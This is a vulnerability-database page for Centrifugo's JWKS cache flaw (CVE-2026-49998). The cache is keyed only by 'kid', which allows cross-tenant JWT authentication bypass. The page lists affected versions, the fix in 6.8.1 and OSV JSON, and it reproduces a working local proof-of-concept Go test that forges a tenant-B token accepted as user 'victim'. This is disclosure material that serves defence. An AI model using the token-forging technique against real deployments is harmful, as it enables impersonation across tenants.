Vulnerabilities in pkg:golang/github.com/centrifugal/centrifugo/v3

PACKAGE
Advisory Identifier: GHSA-g6vg-wj8f-48cj
Advisory Summary

CVE-2026-49998 is a HIGH (CVSS 8.2) authentication bypass vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting Github.com/centrifugal/centrifugo/v6 libraries in the Go ecosystem. The issue involves centrifugo's dynamic jwks key cache keyed only by `kid` allows cross-issuer jwt authentication bypass. Remediation is available by upgrading affected packages to version 6.8.1.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/centrifugal/centrifugo/v3

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/centrifugal/centrifugo/v3. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-g6vg-wj8f-48cj CVE-2026-49998 HIGH Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass
GHSA-q926-c743-49qj - LOW Centrifugo's InsecureSkipTokenSignatureVerify flag silently disables JWT verification with no warning
GHSA-j77h-rr39-c552 CVE-2026-32301 CRITICAL Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL

CVE-2026-49998 at a Glance

CVE Identifier CVE-2026-49998
GHSA Identifier GHSA-g6vg-wj8f-48cj
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-347: Improper Verification of Cryptographic Signature
Affected Product Github.com/centrifugal/centrifugo/v6
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-49998

To remediate this vulnerability, upgrade all affected Github.com/centrifugal/centrifugo/v6 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/centrifugal/centrifugo/v6 fixed: 6.8.1
Upgrade github.com/centrifugal/centrifugo/v6 to 6.8.1
github.com/centrifugal/centrifugo/v5 fixed: Latest secure release
Upgrade github.com/centrifugal/centrifugo/v5 to Latest secure release
github.com/centrifugal/centrifugo/v4 fixed: Latest secure release
Upgrade github.com/centrifugal/centrifugo/v4 to Latest secure release
github.com/centrifugal/centrifugo/v3 fixed: Latest secure release
Upgrade github.com/centrifugal/centrifugo/v3 to Latest secure release
github.com/centrifugal/centrifugo fixed: Latest secure release
Upgrade github.com/centrifugal/centrifugo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/centrifugal/centrifugo/v6

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-49998, inspect your project dependencies for Github.com/centrifugal/centrifugo/v6:

inspect dependencies for github.com/centrifugal/centrifugo/v6

Analyze the terminal output to locate any version of Github.com/centrifugal/centrifugo/v6 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.8.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In Github.com/centrifugal/centrifugo/v6, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

#### Summary Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace. In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager. #### Details The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims: - `client.token.jwks_public_endpoint` - `client.subscription_token.jwks_public_endpoint` Relevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`. External clients control JWT connection and subscription tokens: - Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`. - Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`. - Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`. The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint: - `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`. - `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`. The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager: ```go func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error { kid := token.Header().KeyID key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars) ``` `internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`: ```go func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) { if kid == "" { return nil, ErrKeyIDNotProvided } if m.useCache { key, err := m.cache.Get(kid) if err == nil { return key, nil } } v, err, _ := m.group.Do(kid, func() (any, error) { return m.fetchKey(ctx, kid, tokenVars) }) ``` The resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`: ```go func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) { jwkURL := m.url.ExecuteString(tokenVars) ... req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil) ``` The TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`: ```go func (tc *TTLCache) Add(key *JWK) error { ... tc.items[key.Kid] = item } func (tc *TTLCache) Get(kid string) (*JWK, error) { ... item, ok := tc.items[kid] ``` As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted. I also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?P<tenant>tenant-a|tenant-b)$`. #### PoC This is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems. From a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`: ```go package jwtverify import ( "crypto/rsa" "encoding/json" "net/http" "net/http/httptest" "sync/atomic" "testing" "time" "github.com/centrifugal/centrifugo/v6/internal/config" "github.com/cristalhq/jwt/v5" "github.com/stretchr/testify/require" ) func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) { t.Helper() resp := map[string]any{ "keys": []map[string]string{ { "alg": "RS256", "kty": "RSA", "use": "sig", "kid": kid, "n": encodeToString(pubKey.N.Bytes()), "e": encodeUint64ToString(uint64(pubKey.E)), }, }, } w.Header().Set("Content-Type", "application/json") require.NoError(t, json.NewEncoder(w).Encode(resp)) } func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string { t.Helper() signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey) require.NoError(t, err) builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid)) claims := &ConnectTokenClaims{ Base64Info: "e30=", RegisteredClaims: jwt.RegisteredClaims{ Subject: user, Issuer: issuer, ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)), }, } token, err := builder.Build(claims) require.NoError(t, err) return token.String() } func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) { const kid = "shared-kid" tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t) tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t) var tenantARequests int32 var tenantBRequests int32 ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/tenant-a/jwks.json": atomic.AddInt32(&tenantARequests, 1) writeRSAJWKS(t, w, tenantAPublicKey, kid) case "/tenant-b/jwks.json": atomic.AddInt32(&tenantBRequests, 1) writeRSAJWKS(t, w, tenantBPublicKey, kid) default: http.NotFound(w, r) } })) defer ts.Close() cfg := config.DefaultConfig() cfgContainer, err := config.NewContainer(cfg) require.NoError(t, err) newVerifier := func() *VerifierJWT { verifier, err := NewTokenVerifierJWT(VerifierConfig{ JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json", IssuerRegex: `^(?P<tenant>tenant-a|tenant-b)$`, }, cfgContainer) require.NoError(t, err) return verifier } legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid) legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid) forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid) ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false) require.NoError(t, err) require.Equal(t, "tenant-b-user", ct.UserID) _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false) require.Error(t, err) verifier := newVerifier() ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false) require.NoError(t, err) require.Equal(t, "tenant-a-user", ct.UserID) tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests) ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false) require.NoError(t, err) require.Equal(t, "victim", ct.UserID) require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests)) } ``` Run the focused test with the project-supported Go toolchain: ```bash go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v ``` Observed vulnerable output in my local test environment using Go 1.26.3: ```text === RUN TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC {"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"} {"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"} {"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"} --- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s) PASS ok github.com/centrifugal/centrifugo/v6/internal/jwtverify 0.088s ``` The passing test demonstrates the vulnerable behavior because it asserts these controls: 1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier. 2. A forged tenant-B token signed by tenant A fails with a fresh verifier. 3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's `shared-kid` key. 4. The forged tenant-B token signed by tenant A then succeeds with user ID `victim`. 5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint. Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification. #### Impact This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments. Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using `{{tenant}}` values extracted from `iss` or `aud`. An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same `kid` value and the attacker's issuer key is cached first. `kid` values are not globally unique by specification and are often operational labels such as `current`, `default`, or rotation identifiers, so the verifier should not rely on `kid` uniqueness across different JWKS trust domains. Potential consequences include: - Authentication as a user in another issuer/tenant namespace. - Unauthorized connection-token acceptance. - Unauthorized subscription-token acceptance where separate subscription JWTs are configured. - Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains. #### Suggested remediation Scope JWKS cache entries and `singleflight` keys to the resolved JWKS trust domain, not only to the JWT `kid`. For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as: ```text resolved_jwks_url + "\x00" + kid ``` or an equivalent canonical trust-domain identifier plus `kid`. The same composite namespace should be used for: - TTL cache lookup. - TTL cache storage. - `singleflight.Group.Do` keys. A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.

CVE-2026-49998 Affected Github.com/centrifugal/centrifugo/v6 Versions

5 component(s)
Fixed Versions:
6.8.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/centrifugal/centrifugo/v6
Go
< 6.8.1
6.8.1
github.com/centrifugal/centrifugo/v5
Go
≤ 5.4.9
github.com/centrifugal/centrifugo/v4
Go
≤ 4.1.5
github.com/centrifugal/centrifugo/v3
Go
≤ 3.2.3
github.com/centrifugal/centrifugo
Go
≤ 2.4.0

References

Frequently Asked Questions

What is CVE-2026-49998?
CVE-2026-49998 is a security vulnerability in Github.com/centrifugal/centrifugo/v6 involving Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass under CWE-347: Improper Verification of Cryptographic Signature.
Which Github.com/centrifugal/centrifugo/v6 versions are affected?
Affected versions include releases prior to 6.8.1 across affected packages: github.com/centrifugal/centrifugo/v6, github.com/centrifugal/centrifugo/v5, github.com/centrifugal/centrifugo/v4, github.com/centrifugal/centrifugo/v3, github.com/centrifugal/centrifugo.
What version fixes CVE-2026-49998?
Upgrading to 6.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/centrifugal/centrifugo/v6 affected?
Yes, github.com/centrifugal/centrifugo/v6 is affected in releases prior to 6.8.1. Upgrade your dependency to 6.8.1 or later.
Is github.com/centrifugal/centrifugo/v5 affected?
Yes, github.com/centrifugal/centrifugo/v5 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-49998?
CVE-2026-49998 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-49998?
CVE-2026-49998 is classified under CWE-347: Improper Verification of Cryptographic Signature (The product does not verify, or incorrectly verifies, the cryptographic signature for data.).
How can I check Go dependencies for CVE-2026-49998?
Run the dependency tree command: 'inspect dependencies for github.com/centrifugal/centrifugo/v6'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g6vg-wj8f-48cj",
  "modified" : "2026-07-01T20:28:52Z",
  "published" : "2026-07-01T20:28:52Z",
  "aliases" : [ "CVE-2026-49998" ],
  "summary" : "Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass",
  "details" : "#### Summary\n\nCentrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.\n\nIn a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.\n\n#### Details\n\nThe vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims:\n\n- `client.token.jwks_public_endpoint`\n- `client.subscription_token.jwks_public_endpoint`\n\nRelevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`.\n\nExternal clients control JWT connection and subscription tokens:\n\n- Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`.\n- Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`.\n- Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`.\n\nThe verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:\n\n- `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`.\n- `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`.\n\nThe problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager:\n\n```go\nfunc (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {\n    kid := token.Header().KeyID\n\n    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)\n```\n\n`internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`:\n\n```go\nfunc (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    if kid == \"\" {\n        return nil, ErrKeyIDNotProvided\n    }\n\n    if m.useCache {\n        key, err := m.cache.Get(kid)\n        if err == nil {\n            return key, nil\n        }\n    }\n\n    v, err, _ := m.group.Do(kid, func() (any, error) {\n        return m.fetchKey(ctx, kid, tokenVars)\n    })\n```\n\nThe resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`:\n\n```go\nfunc (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    jwkURL := m.url.ExecuteString(tokenVars)\n    ...\n    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)\n```\n\nThe TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`:\n\n```go\nfunc (tc *TTLCache) Add(key *JWK) error {\n    ...\n    tc.items[key.Kid] = item\n}\n\nfunc (tc *TTLCache) Get(kid string) (*JWK, error) {\n    ...\n    item, ok := tc.items[kid]\n```\n\nAs a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.\n\nI also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?P<tenant>tenant-a|tenant-b)$`.\n\n#### PoC\n\nThis is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems.\n\nFrom a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`:\n\n```go\npackage jwtverify\n\nimport (\n    \"crypto/rsa\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"sync/atomic\"\n    \"testing\"\n    \"time\"\n\n    \"github.com/centrifugal/centrifugo/v6/internal/config\"\n\n    \"github.com/cristalhq/jwt/v5\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {\n    t.Helper()\n    resp := map[string]any{\n        \"keys\": []map[string]string{\n            {\n                \"alg\": \"RS256\",\n                \"kty\": \"RSA\",\n                \"use\": \"sig\",\n                \"kid\": kid,\n                \"n\":   encodeToString(pubKey.N.Bytes()),\n                \"e\":   encodeUint64ToString(uint64(pubKey.E)),\n            },\n        },\n    }\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    require.NoError(t, json.NewEncoder(w).Encode(resp))\n}\n\nfunc getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {\n    t.Helper()\n    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)\n    require.NoError(t, err)\n    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))\n    claims := &ConnectTokenClaims{\n        Base64Info: \"e30=\",\n        RegisteredClaims: jwt.RegisteredClaims{\n            Subject:   user,\n            Issuer:    issuer,\n            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),\n        },\n    }\n    token, err := builder.Build(claims)\n    require.NoError(t, err)\n    return token.String()\n}\n\nfunc TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {\n    const kid = \"shared-kid\"\n\n    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)\n    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)\n\n    var tenantARequests int32\n    var tenantBRequests int32\n\n    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        switch r.URL.Path {\n        case \"/tenant-a/jwks.json\":\n            atomic.AddInt32(&tenantARequests, 1)\n            writeRSAJWKS(t, w, tenantAPublicKey, kid)\n        case \"/tenant-b/jwks.json\":\n            atomic.AddInt32(&tenantBRequests, 1)\n            writeRSAJWKS(t, w, tenantBPublicKey, kid)\n        default:\n            http.NotFound(w, r)\n        }\n    }))\n    defer ts.Close()\n\n    cfg := config.DefaultConfig()\n    cfgContainer, err := config.NewContainer(cfg)\n    require.NoError(t, err)\n\n    newVerifier := func() *VerifierJWT {\n        verifier, err := NewTokenVerifierJWT(VerifierConfig{\n            JWKSPublicEndpoint: ts.URL + \"/{{tenant}}/jwks.json\",\n            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,\n        }, cfgContainer)\n        require.NoError(t, err)\n        return verifier\n    }\n\n    legitimateTenantAToken := getRSAIssuerConnToken(t, \"tenant-a-user\", \"tenant-a\", tenantAPrivateKey, kid)\n    legitimateTenantBToken := getRSAIssuerConnToken(t, \"tenant-b-user\", \"tenant-b\", tenantBPrivateKey, kid)\n    forgedTenantBToken := getRSAIssuerConnToken(t, \"victim\", \"tenant-b\", tenantAPrivateKey, kid)\n\n    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-b-user\", ct.UserID)\n\n    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)\n    require.Error(t, err)\n\n    verifier := newVerifier()\n    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-a-user\", ct.UserID)\n\n    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)\n    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"victim\", ct.UserID)\n    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))\n}\n```\n\nRun the focused test with the project-supported Go toolchain:\n\n```bash\ngo test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v\n```\n\nObserved vulnerable output in my local test environment using Go 1.26.3:\n\n```text\n=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)\nPASS\nok  \tgithub.com/centrifugal/centrifugo/v6/internal/jwtverify\t0.088s\n```\n\nThe passing test demonstrates the vulnerable behavior because it asserts these controls:\n\n1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.\n2. A forged tenant-B token signed by tenant A fails with a fresh verifier.\n3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's `shared-kid` key.\n4. The forged tenant-B token signed by tenant A then succeeds with user ID `victim`.\n5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.\n\nExpected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.\n\n#### Impact\n\nThis is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.\n\nImpacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using `{{tenant}}` values extracted from `iss` or `aud`.\n\nAn attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same `kid` value and the attacker's issuer key is cached first. `kid` values are not globally unique by specification and are often operational labels such as `current`, `default`, or rotation identifiers, so the verifier should not rely on `kid` uniqueness across different JWKS trust domains.\n\nPotential consequences include:\n\n- Authentication as a user in another issuer/tenant namespace.\n- Unauthorized connection-token acceptance.\n- Unauthorized subscription-token acceptance where separate subscription JWTs are configured.\n- Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.\n\n#### Suggested remediation\n\nScope JWKS cache entries and `singleflight` keys to the resolved JWKS trust domain, not only to the JWT `kid`.\n\nFor dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:\n\n```text\nresolved_jwks_url + \"\\x00\" + kid\n```\n\nor an equivalent canonical trust-domain identifier plus `kid`.\n\nThe same composite namespace should be used for:\n\n- TTL cache lookup.\n- TTL cache storage.\n- `singleflight.Group.Do` keys.\n\nA regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/centrifugal/centrifugo/v6"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.8.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.8.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/centrifugal/centrifugo/v5"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "5.4.9"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/centrifugal/centrifugo/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "4.1.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/centrifugal/centrifugo/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.2.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/centrifugal/centrifugo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/centrifugal/centrifugo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-01T20:28:52Z",
    "nvd_published_at" : null
  }
}